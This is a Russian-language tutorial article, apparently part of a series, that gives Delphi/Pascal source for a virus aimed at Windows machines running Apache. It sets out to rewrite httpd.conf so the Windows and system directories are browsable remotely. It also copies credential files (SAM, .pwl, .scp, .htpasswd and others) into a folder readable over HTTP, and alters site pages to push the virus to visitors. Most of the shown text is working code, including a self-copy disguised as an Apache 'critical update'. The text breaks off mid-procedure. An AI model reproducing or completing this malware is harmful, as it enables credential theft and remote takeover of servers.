В предыдущей статье был рассмотрен пример простейшего вируса для "локального" использования, т.е. рассчитанного на инфицирование одной машины, на которой он был запущен. Теперь рассмотрим вирус (вообще-то правильнее было бы сказать "сетевой червь", но из-за слабого алгоритма распространения рука не подымается) поражающий машину с установленным веб сервером. Как наиболее распространенный был выбран Apache, тестирование проводилось на Apache/1.3.22 (Win32) (предположим ни PHP, ни Perl не установлен). Поставим целью создание критических ошибок политики безопасности веб сервера, дающих значительный или полный контроль над инфицированной машиной удаленному пользователю.
Определим задачи, которые нам предстоит выполнить:
1. Определение наличия веб сервера на локальной машине. Если установлен - модифицировать конфиг файл (httpd.conf) так, что удаленной пользователь мог просматривать наиболее важные директории компьютера (папка Windows и системная директория) включая поддиректории.
2. Для облегчения получения контроля над сервером копирование всех _важных_ файлов (sam, .pwl, .scp, <uin>.dat, mirc.ini, httpd.conf, .htaccess, .htpasswd) в одну папку, которая также будет доступна на чтение через
http.
3. Модификация всех html-ок сервера так, что каждому зашедшему на страницу будет предложено скачать наш вирус.
Итак, задачи определены, приступим. Мы напишем 2 функции и 2 процедуры, которые и будут выполнять основные задачи вируса. Модификация конфига будет осуществлена добавлением алиасов (alias), позволяющих делать автоматическое перенаправление (напрbvth набирая в браузере http://infectedhost.com/windir/ ты получишь листинг директории Windows - C:\WinNT). Т.к. размер исходника немалый, я не буду отдельно приводить комментарии его наиболее важных частей, а начну сразу со всей программы:
{ Начало программы :-). Далее будут использоваться следующие сокращения:
%WinDir% - директория Windows (напр.: C:\WinNT).
%SysDir% - системная директория Windows (напр.: C:\WinNT\System32). }
program helloworld_apache;
uses
windows,sysutils,classes;
{
Ниже идет первая функций, необходимая для преобразования строки, которую мы будем писать в конфиг апача. Она заменяет все обратные слэши во входной строке на слэши, что является ОБЯЗАТЕЛЬНОЙ частью синтаксиса конфига апача.
}
function parse(st: string):string;
var
i: integer;
begin
for i:= 0 to length(st) do
begin
if st[i] = '\' then
st[i]:= '/';
end;
parse:= st;
end;
{
Назначение следующей функции должно быть понятно всем. Она возвращает %WinDir%, или %SysDir% зависимости от входящего параметра (param). Если параметр не 'sysdir' и не 'windir' функция создает папку updates в %WinDir% и возвращает значение
%WinDir%\updates\.
}
function getdir(param:string):string;
var
tmp: array [0..max_path] of char;
begin
if param = 'windir' then
begin
getwindowsdirectory(tmp,max_path);
getdir:= strpas(tmp);
end else
if param = 'sysdir' then
begin
getsystemdirectory(tmp,max_path);
getdir:= strpas(tmp);
end else
begin
createdir(getdir('windir')+'\updates');
getwindowsdirectory(tmp,max_path);
getdir:= strpas(tmp)+'\updates\';
end;
end;
{
Процедура findapache, как понятно из названия, определяет установлен ли апач, и если установлен, копирует вирус в %WinDir%\updates. Подробней останавливаться не будем, т.к. очень похожая процедура была откомментирована в прошлой статье, да и без тех комментариев все должно быть понятно. Напомню лишь, что expandfilename(paramstr(0)) возвращает полное имя вируса, включая путь, а AnsiLowerCase() переводит все символы строки в нижний регистр. Здесь уже используется описанная выше функция
getdir().
}
procedure findapache(dir:string);
var
sr: tsearchrec;
p: string;
begin
if findfirst(dir+'\*.*',fadirectory,sr) <> 0 then
findclose(sr)
else repeat
p:= dir+'\'+sr.name;
if sr.attr <> fadirectory then
begin
if AnsiLowerCase(sr.name) = 'apache.exe' then
begin
copyfile(pchar(expandfilename(paramstr(0))),pchar(getdir('')+'apache_1_3x_critical_update.exe'),true);
exit;
end;
end
else
begin
if (sr.name <> '.') and (sr.name <> '..') then
findapache(p);
end;
until (findnext(sr) <> 0);
findclose(sr);
end;
{
Пришло время разобрать главную процедуру нашего вируса, которая выполнить все действия по поиску, копированию и модификации необходимых нам файлов. Ее я откомментирую подробней.
}
procedure main(dir,ext: string);
{ два входящих параметра - dir и ext, директория, в которой нужно произвести поиск и расширение искомого файла соответственно }
var
{ объявление переменных }
sr: tsearchrec;
sl: tstringlist;
p,s: string;
f: textfile;
begin
{ если ничего не найдено, т.е. директория пуста или не содержит файлов с искомым расширением }
if findfirst(dir+'\'+ext,fadirectory,sr) <> 0 then
{ прекращаем поиск }
findclose(sr)
{ иначе }
else
{ повторять }
repeat
{ в переменную p записываем полное имя файла }
p:= dir+'\'+sr.name;
{ если найдена не директория, а файл }
if sr.attr <> fadirectory then
begin
{
Далее идет перевод имен файлов и расширений (там, где требуется) в нижний регистр и сравнение с тем, что мы хотим найти. Если найден искомый файл, происходит его копирование в папку %SysDir%\vxbackup\. Функция extractfileext() возвращает расширение файла, getdir() описана выше.
}
if AnsiLowerCase(extractfileext(p)) = '.pwl' then
copyfile(pchar(p),pchar(getdir('sysdir')+'\vxbackup\'+sr.name),true);
if AnsiLowerCase(extractfileext(p)) = '.scp' then
copyfile(pchar(p),pchar(getdir('sysdir')+'\vxbackup\'+sr.name),true);
if AnsiLowerCase(sr.name) = 'sam' then
copyfile(pchar(p),pchar(getdir('sysdir')+'\vxbackup\'+sr.name),true);
if AnsiLowerCase(sr.name) = '.htaccess' then
begin
{
(продолжение следует)